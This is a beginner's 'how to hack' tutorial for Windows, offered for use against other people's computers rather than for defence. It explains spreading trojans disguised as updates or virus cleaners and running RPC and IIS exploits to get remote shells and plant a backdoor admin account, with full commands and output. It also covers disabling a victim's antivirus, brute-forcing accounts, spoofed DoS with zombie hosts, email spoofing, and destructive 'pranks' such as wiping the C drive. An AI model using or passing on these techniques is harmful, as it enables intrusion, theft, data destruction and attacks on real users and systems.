Howto hack, crack and phreak.
Beginners guide to hacking windows.
The best way to start hacking is to teach yourself !!
In this tutorial there will be explained the basics of hacking and some more advanced hacking techniques. So if your a n00b, read on! VERY IMPORTANT, GOOGLE
IS YOUR BEST FRIEND WHEN YOU WANT TO LEARN HOW TO HACK!!
Windows Hacker Tutorial
Contents
1) FAQ - Frequently Asked Questions
2) Securing your Windows PC
3) Using a Trojan / RAT
4) Hacking a PC through NETBIOS shares
5) Hacking a PC with an exploit
6) Disconnecting someone from internet (DOS attack) - (Nuking)
7) Getting a PC name, MAC address and user name logged on
8) IP addresses, understanding it
9) IIS (Web server / Web page) hacking
10) Crashing WIN95/WIN98 PC with any access to share
11) Creating undeletable directories remotely
12) Connecting to mIRC through a wingate
13) Anonymous email / Email as any address
14) Resetting and cracking Win2K or WinXP administrator password
15) Connecting to MIRC/KAZAA/ICQ thru a firewall that has certain ports blocked with a SOCKS server
16) Killing programs or processes remotely
17) Getting someone's IP and doing a ping sweep
18) Pranks to pull on someone
19) Cracking a user account locally or remotely - brute force or dictionary attack - Win2K and WinXP
20) Accesing Routers
(1) FAQ - Frequently asked questions
How do I hack?
- There is no easy way how to hack. Google is your best friend.. REMEMBER THAT! Read any information you can find on hacking. Read hacking forums and check out hacking websites. Learn a programming language like C++. Get a book like Hacking for Dummies which will teach you alot.
What do I need to be able to hack?
- Firstly you need to understand how your computers operating system works, networks and protocols works, security settings and general PC knowledge. After you understand how it works you need hacking tools which helps you to hack.
What is command prompt (cmd- the little dos Windows)?
Go START, RUN and type in: "cmd"
What can I do in cmd?
You can can do various things with it like run exploits or do a ping request.
Why does some of the hacking tools I download just close itself when I open them?
- Lot's of hacking tools are DOS based and has to be run through CMD. If you double click on the program it will open a DOS box and automaticly close the box. From CMD you can navigate to the directory which your hacking tool is stored in and run it from there. Other hacking tools are GUI ( graphical user interface ) based and it will open like a normal Windows based program.
What is a IP address?
- Every computer connected to the Internet or some network has a IP address. Goto START, RUN and type in "cmd" then type in "ipconfig" it will show you your IP adress or adresses. It will look something like this : 81.35.99.84. IP = internet protocol.
How do I find someone's IP adress?
Look further down in this tutorial and use IPSTEALER
What can I do with a IP?
Well you need someone's IP before you can hack, portscan or DOS them.
What is IP ping ?
- It's a command you can use to check if someone's IP address is online, to check it they connected to the Internet or a network. In command prompt type in "ping 192.168.0.21" - this will show you something like this : Pinging 192.168.0.21 with 32 bytes of data:
Reply from 192.168.0.21: bytes=32 time<1ms TTL=128
Reply from 192.168.0.21: bytes=32 time<1ms TTL=128
Reply from 192.168.0.21: bytes=32 time<1ms TTL=128
Reply from 192.168.0.21: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.0.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
That means you can succesfully PING IP 192.168.0.21 which means the IP is online. If you get a message "request timed out" it means the IP is not online. Bytes=32 is the ammount of data which was sent to the host. Time<1ms is the time the host took to reply.
Why can't I ping a certain IP?
Either the IP is not online/ in use or the person your trying to ping is running a firewall which blocks ping requests or maybe your firewall is blocking outgoing ping requests
What is 127.0.0.1 IP?
- It is your PC's local loopback IP address.
Why do I have two IP addresses when I do a ipconfig?
Well if your on a local LAN (Local area network) you will have a IP like 192.168.0.1. If your also directly connected to the internet you will have another IP address like 80.87.34.56. 192.168.0.1 is your local IP which you use to comunicate with your local internet network (lan) and 80.87.34.56 is your internet IP.
What is a static and dynamic IP address?
- Static means permanent set IP address
- like a website will have a static IP address, it never changes. Dynamic means temporary IP address - dailing up to the Internet with a modem or most ADSL connections has dynamic IP's. Everytime you logon to the Internet your ISP ( Internet Service Provider ) will issue you a new IP address.
I have sent someone a trojan but I cannot connect to their PC?
- Either they are running a firewall which blocks you from connecting to their PC, or they are connected to the internet through a router.
What do I do when someone is behind a router and I want to control their PC with a trojan?
- You will need to use a trojan which uses reverse connections - meaning you don't connect to the host, the host connects to you. Bifrost is a trojan which has the mentioned function. Remember when someone is behind a router and your using IPstealer to get hold of their IP address, you are actually getting their routers IP, not their actual PC's IP. The router will have the persons internet IP (WAN IP) and their PC will have a difirent IP - their LAN IP.
How do I check if my own PC is infected with a trojan?
- Do a port scan on your PC and check which ports are open. If you find any open ports in this trojan port list you might be infected with a trojan. Download the trojan you think you might be infected with and connect to that specified port.
What is a router?
A device which is used to route data on a network. a Router decides where certain traffic should be sent to.
What is a firewall?
Its a software or hardware device which can block or permit certain ports or IP's or certain kinds of data.
What is a port and what can I do with it?
Every program running on your PC which has some network function uses a specific port to send an receive data though. If you do a port scan you will see which ports are open on the host you scanned. Port 80 is normally a web server. Port 21 a FTP server ect ect.. Trojans also uses ports. Check this list of trojan ports, if you find an open port in this list, the host might be infected with a trojan, download the trojan and try connecting to the port.
How do I do a port scan?
You need a program like superscan to do a portscan. Then all you do is add the ip you want to scan.
Why do you want to scan ports?
If you scan a PC with a port scanner, it will show you which programs or services are running on the PC.
Common ports:
Ping : 7
Systat : 11
Time : 13
NetStat : 15
SSH : 22
Telnet : 23
SMTP : 25
Whois : 43
Finger : 79
HTTP : 80
POP : 110
What is an exploit?
It's a poorly coded piece in software which you can use to gain access to the system. There is many exploits available for the various MS Windows's out there.
How do I use a exploit?
You first need to compile the exploit with a program like Bloodshed C++ compiler. Then you can start the exploit through command prompt and see if the system your trying to exploit is vulnerable to that specific exploit. Scroll down for more information about exploits.
What is a exploit POC?
- POC stands for proof of concept and it the proof that a exploit works.
- It is when too much data is being sent to a host and it cannot handle all the data and disconnects from the Internet.
How do I see what connections is currently made to my PC?
- In cmd type in "netstat" - it will show you IP addresses of connections to your PC and what port it is using.
What is a MAC address?
- Its a hard coded number, almost like a name which is embedded into a network card. It identifies the manufacturer of the card and a unique number for the card. No two network cards in the world has the same MAC address.
How do I find out my own or someone else's MAC address?
Your own MAC = Goto cmd and type in "ipconfig /all"
MAC address looks something like this : 00-13-20-A3-0B-4C
Someone else's MAC address you need their IP address and then goto cmd and type in "nbtstat -a 192.168.0.5" or whatever IP they use. This will show you their MAC address as well as their currently logged on user.
What is a Windows Registry and how do I access it?
- Its where Windows stores most of the configurations of your operating system and most programs installed. You might used it to make a trojan server file you uploaded to the PC run automaticly when Windows starts up. To access the registry go START, RUN and type in "regedit"
Carefull what you change in the registry, it might screw up you PC.. First make a backup of the registry.
How do I hack a webpage/ web server?
Read the IIS hacking tutorial in the MISC download section on Windows Hacker. Remember not all webservers run IIS!
What is IIS?
It is Microsoft's web server. IIS - Internet information server. Most webservers run on port 80.
How do I check if a website is running on IIS?
- Telnet to the website URL through CMD - "telnet www.siteyouwanttocheck.com 80"
What is telnet?
- Program which can be used to connect to remote computers or routers and to run commands by simply typing them in its window.
How do I hack into a Gmail, Yahoo or Hotmail email account?
- Every now and then someone discovers a way to get into those email servers, but the service provider fixes the security hole so fast, there is no straight answer for that. Best way is to install a keylogger on the victims PC and get their login details. Otherwise download THIS program which you can use to brute force a hotmail account.
How do I hack into a POP3 email account?
Hydra 5.3 is a program which you can use to crack POP3 accounts. You will need a wordlist which Hydra will use to crack the POP3 password.
What is a keylogger?
It is a program you install on someone's PC which captures every key that is pressed on their keyboard which is emailed to you or stored into a file.
How do I get the administrator account password while logged in to the PC?
Locally run a program like Adminhack for local administrator account cracking. If you need to do it remotely run a program like Venom or Starbrute.
What is a SAM file?
SAM file is the file which stores all the user accounts and their password hashes like the Administrator account. SAM file is stored in "C:\WINDOWS\system32\config" but it is locked and inaccessable while you are busy using Windows - meaning you can't copy it while your in Windows. You need to boot up with another operating system like NTFSDOS or Linux with NTFS support. When you copied the SAM file you can crack the passwords stored in the SAM file with a program like LC5. With Pwdump6 it is possible to get access to the SAM file while logged into windows. It can also connect to a remote PC and grab the password hashes from the SAM file. Administrator account is needed.
How do I reset a administrator or some other account password on Win2K/WinXP/WinNT/Win2003?
- Download Offline NT Password & Registry Editor which you can use to create a bootup disk or CD and then boot up the PC and then you can reset the password. Just remember that this program will not show you the password, you can only change the password.
How do I crack a administrator password?
- If you need to crack a administrator password you will need to copy the SAM file to another machine and crack it. Download this NTXP-Cracker program which has included everything you need to boot up the PC, copy the SAM file and crack the SAM file on another machine.
How do I find out what operating system does my target run?
- Download Detect and use it against your targets IP address.
Result:
C:\>detect.exe 127.0.0.1
[*]------------------------------[*]
[*] XP/2K OS Detector [*]
[*] by: illwill & phr0stic [*]
[*]------------------------------[*]
[+] Finding Host 127.0.0.1
[+] Connected to 127.0.0.1
[+] Bytes Sent: 222
[?] The box seems to be Windows XP
(2) Securing your Windows PC
First install Win XP with the latest Service pack. Run Windows update (START, ALL PROGRAMS, WINDOWS UPDATE) and update Windows and all your device drivers. Go download all the latest versions of applications you use like FTP server or proxy or so, old versions of programs is insecure and you could be hacked that way..
Disable the "guest" account on your PC and rename your "administrator" account.
Right click My Computer and choose Manage.
Stop any services you don't use, but be careful not to stop something that u use ( RIGHT CLICK MY COMPUTER, CHOOSE MANAGE, SERVICES AND APPLICATIONS, SERVICES).
Stop the MESSENGER and REMOTE REGISTERY services.
Delete the admin shares, share it as something else and then stop sharing it.
Then when you reboot it will not share it automatically again. With these admin shares domain admin's and hackers can access your PC. Make sure to put a complex password on all your accounts.
Make your hard drive NTFS
it is the file system you format your harddrive with. Put a password on your BIOS and make sure you change the boot order to boot first with the hard drive, so someone cannot boot up with a CD, delete your SAM file, or crack its password and gain administrator access to your PC..
Make sure the built in firewall is enabled. Check in control panel for Windows firewall. This firewall may be the cause that some of your hacking applications and tools will stop working, so if you have a problem with an application make sure to add this program to your windows firewall exceptions.
Install some kind of anti virus program, Norton Anti Virus works good, but remember that alot of hacking tools are picked up by Anti Virus, so disable your Anti Virus before running those tools.
Also install a Spyware removal tools like Spyware Doctor
Spyware is iritating software which is installed onto your PC through files you download from the net or webpages you open which has mallicious code in it. It slows down your PC and might send your information to the spyware creator.
(3) Using a Trojan / RAT
Trojans is one of the first things you must learn when you want to hack. A trojan is a small program you send to someone to infect their PC so you can control their PC, steal passwords, files or just have some fun.
Every trojan works on a diffirent port, like Sub7, works on port 27374. If you scan a PC and find that port 27374 is open, it means the machine is infected with Sub7. Now ofcourse the trojan can be set with a password, its up to you to crack it then. Now remember that most trojans are picked up by Anti Virus software. You need a new released trojan which AV does not pick up.
The trojan most people know is Sub7 . Before you can start using the trojan, you first need a host to infect it with a trojan. A host can be infected in a alot of ways. You can send the host the trojan server file, and tell them it's an game or a firewall or whatever you like it to be. Best is to rename the file to something they will think is usefull like : WindowsXP_update.exe. You can email them this file or put it on a downloads area on a web page, use your imagination. My Favorite way is to send people a "net send" message with MSMH and choose a name like NortonAntivirust_Support and tell them their PC was detected with a virus, please goto www.yourpagewithtrojanfile.com/Virus_Cleaner_V1.20.exe and run the file to remove the virus from their PC. Net send only works on NT4 and Win2k and Win XP machines that's got messenger service enabled. Disable your messenger service, you do not want people sending you stupid messages..
You can also bind the trojan file with another file, any executable file the trojan can be binded to. Always remember to rename the file, change the program icon and the put a password on the server file. Bind the file with another file and set the file to automatically delete itself after executed, or set it to give an system error.
When you infect a host or find a infected host, it's time to connect. Easy way to find trojans infect hosts is with Trojan hunter. Choose an IP range to scan through and it will search for trojan infected hosts. When you found an infected host, download the trojan client from my Trojans page.. Connect with the trojan to the host IP, to the certain port the trojan works on and you are ready to take control. Each trojan uses a diffident port. Here is a list of ports which a certain trojan works on.
With most trojans, you will be able to log keystrokes on a PC, even get logged into a file, and when the host is online it will email the keystrokes to an specified email address. Delete or copy files, reboot the PC, make screen captures or disable the screen or mouse. With Sub7 you can do anything on the infected host, just as if you where sitting in front of the PC itself. Important thing to remember. A trojan comes with a file called "server.exe". Never run that file on your own PC, it will infect your PC with the trojan! Use the trojans configuration file to make changes to the "server.exe" file and then send the file to a victim.
There is also trojans which has the option to do a reverse connection. Very usefull if the person sits behind a router or firewall. After your infected the victims PC, the trojan will automaticly connects to you, thus getting past the problem of connecting through a router or firewall. Remember that if you do not connect to the Internet directly (with a modem) and you sit behind a router, you will need to forward the trojan ports in your routers configuration if you are doing a reverse connection.
Try out Bifrost RAT or Poison Ivy RAT which can do reverse connections, usefull when the host is behind a router.
(4) Hacking a PC through NetBios shares
Finding PCs with shares over a LAN or over internet is very easy. Choose a certain IP range and use Netscan to search through the IP range for PCs with shares. A PC can only have shares if it is connected to a network or has file and printing enabled, so mostly computers with an network card. If you find a computer with a share, use Windows to connect to that share. Go START, RUN and type in "\\IP\sharename". Example "\\198.55.67.244\c" or with the PC name "\\pc1\c" - then you will have access to the share, to delete, copy or rename files or directories, depending what it was shared as, but most people share things with full access and no password. If you find a PC with shares, but when you try and connect to it, it ask you a password, the easy way to crack it is with PQWak, this program brute force cracks the password for you - Win9X only. Windows NT/XP, works through permissions, so if something is shared, it is shared with permissions to the folder, and permissions is given to an user name. But alot of people make shares with full access to anyone. Win2K/XP accessing an share like the C$ share will ask you an username and password, if there is no password specified by the person who's PC it is.. Trying username as Administrator and password blank. Most people got administrator account password blank, easy way to get onto their shares.
Windows 2000 and XP you can use Venom or Starbrute to brute force or dictionary crack local accounts.
If you gain access to someone's hard drive, copy a trojan server file into their startup folder, and then when they reboot their PC, the trojan will run and you will have access to their PC with the trojan.
(5) Hacking a PC with a exploit
What is a exploit?
It's a poorly coded piece in software which you can use to gain access to the system. There is many exploits available for the various MS Windows's out there. Check this page for new exploits :
http://www.frsirt.com/exploits/ or check the Windows Hacker exploit download page which has compiled exploits.
Now if your a n00b, you don't know how to compile an exploit, basically you need some programming experience, so go learn how to program. Most exploits are written in C++ so try Bloodshed Dev C++ which you can use to compile exploits.
Read this tutorial about compiling exploits.
But you can download exploits which other people has already compiled. If someone updates their PC when new exploits comes out, you can't exploit them. but if they don't update and install new patches, the chance you can exploit and gain access to their PC is big.
Check this example of how a exploit works:
KAHT II - MASSIVE RPC EXPLOIT
This is a exploit for Win2k/XP.
This is an explanation of how to use it :
1. Get target IP, make sure it uses XP or 2k
2. Download exploit tool (make sure to deactivate your AV)
3. Run exploit from cmd
C:\> kaht 192.168.1.100 192.168.1.101
note: 192.168.1.101 is the target
192.168.1.100 <-- 100 here is target - 1
4. If success, it will display as below
------------------------------------------------------------------------
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit, Modified by At4r@wdesign.es
#haxorxitos && #localhost @efnet Ownz you!!!
Full VERSION AUTOHACKING
-------------------------------------------------------------------------
Targets : 192.168.1.100-192.168.1.101 eith 50 Threads
Attacking Port. Remote Shell At ports: 36388
Scan in Progress....
- Connecting to 192.168.1.101
Sending Exploit to a [win2k] Server....
- Connectando con la shell REmote...
Microsoft Windows 2000 [VErsion 5.00.2195]
Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
5. NOW.. YOU ARE IN TARGET DRIVE
6. Then you may add user
C:\WINNT\system32>net user myuser mypassword /add
^ ^
user name password
7. Group to admin
C:\WINNT\system32>net localgroup Administrators myuser /add
^ ^ ^
target group group user
8. Sharing drive
C:\WINNT\system32>net share c=c:
9. Exit from target.. dont forget!
C:\WINNT\system32>exit
10. Use share drive, run cmd
C:\>net use * \\192.168.1.101\drive_c * /u:myuser
Type the password for \\192.168.1.101\C: <--- enter myuser's password here
There you will now have a mapped drive to the target PC and an administrator account.
(6) Disconnecting someone from internet (DOS attack) - (Nuking)
Nuking was in the Windows 95/ NT4 days. The original WinNuke was for Windows 95. It attacked the host on port 139 (win95) and port 135 (winNT). Yes some people still use Windows 95 and NT4, but not alot of people. If you find someone by any chance, use Superkod. I found it works best. Open up the program, type in the IP and Click NUKE. If the person is using Win95 or WinNT4, and their unpatched, their internet connection will be dropped or they will get a BSOD.
That's all very well and all, but with a program like KOD, it does not hide your IP from your attacker. If they are running a firewall, they will see where all this traffic is coming from and they will see it's YOU. So now, you need to spoof your IP address so the attacker cannot see who the attack is coming from.
For Win2k/XP, I would recommend using Smurf2k, Nemesy or Jolt that was designed for attacking Win2k, but Jolt does not spoof the IP so beware, only Smurf2k and Nemesy spoofs the IP. Smurf2k uses a broadcast list, a list it uses for address to spoof from. So if you attack someone, they will see IP's attacking them that does not exist. Before you attack someone, find out what connections he has, because if he want to attack him with bandwidth, you will need more than him. So if it is an modem user with no firewall, you will be able to disconnect him yourself. If it is someone with more bandwidth than you, a firewall or a patched system, you will need BANDWITH to disconnect him. So gather around a few of your buddies, give them a DOS tool and all of you guys at the same time attack him. Make sure you run a firewall that blocks incoming IGMP, ICMP, UDP and TCP incoming connections if they start attacking back. Heck even better, infect a few hosts on a ADSL line or a corporate line with alot of bandwidth, and take down microsoft.com.
This is the part when Zombies comes in. You infect a few hosts (Zombies) and control them to do a DOS attack on someone. It works almost like a trojan which you infect their PC and take control of it.
Try Freak88 - it allows you to control a few PC's at the same time and do a DOS attack.
Also try DOS 3 from the DDOS section, its a very cool application and there is an detailed explanation, it also supports spoofing.
(7) Getting a PC name, MAC address and user name logged on So you would like to know someone's PC name, or their MAC address of their network card or the username that currently logged onto the PC? It can be very useful to have this info on someone. Their PC name can be their own name or company name. Their MAC address is the address of their network card, which is static, means that it can never change. Their username can also be useful if you would like to know this persons name. All of this can only be retrieved if the person has a network card installed on their PC.
In DOS prompt (Start, Run) type in " nbtstat -a IP"
EX : nbstat -a 196.35.24.15, it will show something like this :
Local Area Connection 3:
Node IpAddress: [10.10.10.22] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
PCNAME <00> UNIQUE Registered
DOMAINNAME<00> GROUP Registered
PCNAME<03> UNIQUE Registered
PCNAME<20> UNIQUE Registered
DOMAINNAME <1e> GROUP Registered
USERNAME <03> UNIQUE Registered
MAC Address = 00-22-AE-43-33-30
It will show you the PC name, domain name if it is connected to a domain and it will show the user name logged onto the PC. The MAC is static, meaning it never changes, useful for identifying someone. Your buddy attacks you, you check his IP and you do a "nbtstat" on him, and you gets his MAC address. So now if you check on his PC, and see he has got the same MAC address you know it was him attacking you.
(8) IP addresses, understanding it
Everyone that connects to an network, has got a IP address. A IP address looks something like this : 80.65.123.25
Your network card has an IP and your modem has an IP address if you connect to the Internet, but both is diffident because your LAN is not part of the internet. When you connect to Internet, depending on your connection, you get a fixed ( static ) IP or a dynamic IP. Modem users gets a IP address that changed every time they reconnect to internet, Very useful if you attack people, so if you disconnect, then you get a diffident IP. If you have a ISDN or maybe ADSL connection most of the time you will get a static IP, so whenever you connect to internet you get the same IP every time. Attack someone without IP spoofing, they will be able to see it is your IP attacking them! They can then go to your ISP ( internet service provider ), check who does this IP belong to and you can get into trouble. This is where modem users are lucky, they don't have a static IP and then can go mad and attack people and so without being caught, well almost... Their ISP can still check who was using the certain IP for a certain time and what telephone number it was coming from, but its too much of a hassle for a simple DOS attack.
IP spoofing is basically when you attack someone and you use a bogus IP. a DOS attack or whatever, it attacks the target, but the target only receives data from bogus IP's. IP's that does not really exist, or it does excist but it is someone else's IP, not yours.
Every network cards has a burned in MAC address. a MAC address looks something like this : 00-40-AH-4E-E0-90, it cannot be changed - well kind of, so if you attack someone and they do a nbstat on you, get your MAC address of your network card, it is a simple way of identifying you as the attacker.
(9) IIS ( Web server/web page) hacking
IIS is Microsoft's internet server. It is very buggy and very exploitable. Defacing a IIS server is actually very easy. Alot of system administrators does not load patches on their IIS servers so they are the people who gets defaced (hacked). Current IIS servers I will show u to hack is IIS 4/5. IIS 6 is the industry standard at the moment, but there is still alot of IIS4/5 servers online. The way IIS server are being hacked is though buffer overflows and exploits. This is when a certain code is sent to the server, the server gets confused and grants you root access to the server. In the IIS hacking download section there is alot of IIS hacking tools making it easy for anyone to hack a IIS server. Not all webservers are run on IIS, there is many other webserver software out there like Apache. We will only be dealing with IIS servers.
Firstly you have to find a IIS server. Dreamscape IISscanner is very useful. It gives you the option to scan a certain IP or an IP range. It will search and tell you if it finds any IIS servers, and which version the host is running..
Another way is to telnet to the IP on port 80. In dos prompt (Start, Run,CMD) type in : telnet 196.35.45.21 80. It will open telnet and show you what IIS the host is running. Web servers normally runs on port 80, but it can be any other specified port.
If you find a IIS server, it's time to DEFACE it :) Go check on my IIS hacking page for IIS hacking programs. We will first use Jill-win32 for now. It exploits an IIS5 printer overflow. In dos prompt (Start, Run) run jill-win32. It will show you this :
iis5 remote .printer overflow.
dark spyrit / beavuh labs.
usage: jill-win32
An example how to use it :
jill-win32 196.65.56.32 80 196.89.65.45 69 - 196.65.56.32 is the IIS server you want to deface, port 80 is the port the server runs it IIS service on, 196.89.65.45. is your IP, and port 69 is the port TFPD32 (available from this zip file) will listen on. When you run jill-win32 it will exploit a printer overflow on the IIS server and create a backdoor on the server which will connect to port 69 on your PC, which TFPD32 listening on.
Here is a another example :
Download IISHack and do the following :
Usage: IISHack1.5 [server] [server-port] [trojan-port]
C:\send resume to hire@eeye.com> iishack1.5.exe www.[yourowncompany].com 80 6969
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh & Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Attempting to find an executable directory...
Trying directory [scripts]
Executable directory found. [scripts]
Path to executable directory is [C:\Inetpub\scripts]
Moving cmd.exe from winnt\system32 to C:\Inetpub\scripts.
Successfully moved cmd.exe to C:\Inetpub\scripts\eeyehack.exe
Sending the exploit...
Exploit sent! Now telnet to www.[yourowncompany].com on port 6969 and you should get a cmd prompt.
C:\> telnet www.[yourowncompany].com 6969
Trying www.[yourowncompany].com...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM
For those people who does not have a clue what's going on in here, go the script kiddie way and download the other GUI ( graphical user interface ) IIS hacking programs from my IIS page and let the program deface the web page for you. There is a few IIS tutorials in Windows hacker misc section.
(10) Crashing Win95/Win98 PC with any access to a share
Windows 95/98 does not react well to the /con/con command. Any Windows 98/95 PC can be crashed with this /con/con exploit, but you need access to a share on the PC, any access will work.
Create a htm file with the following code in it :
<>
<><>Crash!< /title>< /head>
<>
< href="file://pcname/sharename/con/con">click me!< /a>
< /body>
< /html>
(widout spaces in d tags)
The pcname, is the PCname of the PC you want to crash ( or the IP ) and the sharename is the share you got access to.When you open the htm file and click on the link, it will crash ( BSOD ) the PC.
(11) Creating undeleteable directories remotely
Now this is something that can really create havoc!!! I tested it on Win9X and Win NT4 .Does not work on Win2k or Win XP. Beware don't try this on yourself!! Windows 9x and NT 4 has a flaw which allows an remote connection to create undeleteable, well practically undeleteable files and directories to be created anywhere on a remote machine. These files and directories can be deleted, but it takes about 2 minutes to delete through dos commands. Download NetBiosBomber, choose the target and choose which OS and you ready to makes someone's life hell. Remember if their system is update it will not work.
(12) Connecting to mIRC through a Wingate
A wingate is like a proxy server, anyone can connect to the server (some do have usernames and passwords), and then work through the server to connect to some other server. Then it will look like you are working form that server, your identity changed. mIRC is a internet relay chat client, a chat room client. Download mIRC now !! In mIRC there is a firewall option, this is where you specify your wingate server. Click the "use firewall" option, make sure its set to socks 4 ! and put in a wingate address in the "hostname". Port should be 1080 with no username or password. Wingate list available from Cyberarmy or you can use any port scanner, or you can use Proxy finder to search for socks wingate on a subnet. Scan any IP range for hosts that's got port 1080 open. Wingates are great for IRC to keep you anonymous.
(13) Anonymous email / Email as any address
Download RA-Anonymous email first. Then choose who u want to send to and from who u want the email to be from. For this to work you will have to find an smtp server that accepts relaying. . So in the server space put in :
"smtp.mweb.co.za" - this smtp worked at the time I tested it.. and your are ready to send someone email from billgates@microsoft.com !! :) Use OPENRELAYCHECKER from my downloads page to download OPENRELAYCHECKER which you can use to search for email servers that support relaying. If your lazy goto this webpage where you can send anonymous emails :
http://www.elitec0ders.net/afteranonimousmail.htm
(14) Resetting and cracking Win2K or WinXP administrator password
Resetting your Win2K admin password is easy. Boot up with a Win9X boot up disk or CD. Go to Winnt\system32\config directory. There will be a file called "SAM" Delete that file and reboot machine. Now the Administrator account password will be reset to blank ( no password ). Only works with FAT32 partitions.
For Windows XP need this file which has a few utilities you can use to reset the XP administrator password.
Then there is also a program called AdminHack which you load in a dictionary file to crack the administrator account if you have local access on the PC.
(15) Connecting to MIRC/KAZAA/ICQ thru a firewall that has certain ports blocked with a SOCKS server
When you behind a firewall and MIRC, Kazaa or ICQ is blocked you can use a technique called http tunneling. Basically your program to an program running on your computer and the programs redirects the data thru HTTP. Download HTTPORT or SOCK2HTTP. It will run a SOCKS server on your PC which you can use to connect MIRC, Kazaa or ICQQ or whatever program you want to use that is blocked by the firewall. In mIRC or Kazaa go to settings and tell the program to connect to your SOCKS server. Server address is 127.0.0.1 - your local IP and socks port is port 1080.
(16) Killing programs or processes remotely
Lets say you try and upload a trojan to someone's machine and their anti virus picks it up. Check if you can get a account on the machine with Administrator rights. If you have an account like that, you can use PSKILL and kill the anti virus program or firewall. You can basically kill any program or process running on the machine, but it must be a Win2k or XP machine. If the person is running norton anti virus the file will be something like nav32.exe. Now with pskill the command will be :
pskill \\66.33.22.11 -u administrator nav32.exe
66.33.22.11 is the IP or pc name of the victim
-u administrator is the account you have admin rights to
Nav32.exe is the program file name or process you want to kill. You can use winlogon.exe even and it will most propably give a blue screen after you killed that process.
So now you killed the anti virus or firewall and now you are ready to upload a trojan or keylogger or anything you like...
(17) Getting someone's IP and doing a ping sweep
Download IPstealer from WindowsHacker and put in your IP, then click on Convert IP, Click on Listen and send your victim the Link to use. When they open that link it will show up in IPstealer.
If you need random IP addresses you can do a ping sweep. It scans a whole IP range and shows you which IP's are online. Download Supercan and put in a IP range. Start 80.23.23.1 to Stop 80.23.23.255 and choose "ping only" under scan type. It will scan the whole IP range and show you which IP's are online.
(18) Pranks to pull on someone
Here is a few things u can do to someone to annoy the living hell out of them :)
1) Blue Screen Of Death : Create a batch file "something.bat" and edit the file so it contains the following (Win9X only)
C:\Aux\Aux
or
C:\Con\Con
Now place this in the C:\Windows\Start Menu\Programs\StartUp folder, so when the pc reboots it will throw out a BSOD every time it starts up.
2) Deleting the persons whole C drive with this command : Deltree /y c:/*.*
3) Make a screen shot of the persons desktop. put that picture as their background and hide the start bar and desktop icons. With 2000 and XP, lock the PC and move the windows out of the way, just check how clever your friend really are. Or put a password one a screen saver and put the screen saver file into the startup folder. They will have to boot up into save mode to restore the screen saver.
4) A nice harmless trick, schedule something like a screen saver with a password on a PC for a certain time, sure to make someone scream.
5) Go to the windows directory and look for a file Win.ini. Edit the file and look for a line with : shell=Explorer.exe. Change this to something like YOUR PC HAS A VIRUS ON IT. When the PC gets restarted it will come up with that message and it will not boot up @ all. Look for system.ini, change the same, shell="explorer.exe to shell=". Bill Gates Hates You" :)
(19) Cracking a user account locally and remotely - brute force or dictionary attack - Win2K and WinXP
When you need the password of a account on your local machine or on a remote machine you can either brute force or dictionary attack the account. Remember this could take from 1 minute to a few days depending on how complex the password is.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
First program we will use is LBRUTE.
Lbrute is a program which you can use to guess a user account password with a dictionary attack while logged onto the machine locally.. You will need a wordlist which Lbrute can use to guess the password. Example of how to use
Lbrute:
C:\password\brute\lbrute>lbrute -d -u guest -f wordlist.txt
lbrute v0.9 - Windows NT Local logon password brute forcing utility Copyright (C) 2005-2006 Pranay Kanwar
[+] On TESTPC running Windows XP
[+] Counting words....77012 words.
[+] Trying 77012 words from wordlist.txt for 'guest'
[+] Done 21%.
[+] Password for user 'guest' is password555.
The password was guessed and is displayed as: password555.
-d tells Lbrute that this will be a dictionary attack
-u is the account your trying to crack
-f is the name of the wordlist you will be using
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Second program we will use is Starbrute
Starbrute can either be used to crack a user account on your own local PC or it can be used to crack a user account on a remote PC. Starbrute uses brute force to guess the password. Meaning it will use
Charset:1234567890abcdefghijklmnopqrstuvwxyz in random order to guess the password.
Example of how to use Starbrute:
C:\password\StarBrute\StarBrute>starbrute 192.168.0.3 guest 3 4 high
-------- Starsky32 IPC bruteforce --------
¦ Target IP:192.168.0.3
¦ User Account:guest
¦ Charset:1234567890abcdefghijklmnopqrstuvwxyz
¦ Start lenght:3
¦ Max lenght:4
¦ Process priority: High
¦ Starting...
» Trying 3 letters lenght passwords...
Terminated. Password found: 111
The password was brute forced and is displayed as: 111.
192.168.0.3 is the IP of the machine your trying to get the account password from.
guest is the account name your trying to crack
3 is start lenght of the password
4 is the maximum lenght of the password high means the program will use alot of resources - the higher the faster it can guess the password
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
With both these programs you can specify any account on a machine - administrator, guest or whatever.
Remember you can find out what account is logged onto a machine by typing in this command into CMD: nbstat -a IP
It will show you the username currently logged on and then you can try and crack that account password.
(20) Accesing Routers
Routers are devices which is used to route data on a network, it decides where certain traffic should be sent to. Routers acts as a gateway to the Internet and is use by most people these days to access the Internet instead of Modems. A client PC could either be connected to the Router through a LAN cable of with a Wireless card. Routers are mostly configured though a web based system or with a command prompt window (cmd).
Most home users with ADSL use Routers as their gateway to the Internet.
Some Routers are configured so that it can only be administered though the Web based system when your are connected to the Routers local network - the internal LAN.Connecting to the Router you will use your web browser. A typical router IP address would be 192.168.0.1. So this would be the address to use to connect to the Router though a browser: http://192.168.0.1/
If you are using a Router as your Internet gateway try connecting to it.
Remember the routers IP address could differ from the example above. If you don't know your Routers IP address goto command prompt and type in: ipconfig Your local area connection gateway address will be your Routers IP address.
Remember the Router is your gateway to the Internet.
When you are connected to your Router though the web based system it will ask you a username and password. If you know the login details use it to log into the Router. If you do not know the login details you can try the default login details as set by the Router manufacturer. Have a look at this list with default login details.
In your Routers configuration you can set settings which the Router uses the connect to the Internet, security settings, local LAN configurations, DHCP settings, port forwarding, statistics and information about the Router status and many more.
Accesing a Router though a command prompt windows can be achived by going to command prompt (cmd) and typing in:
23 is the port which the Router will be access with.
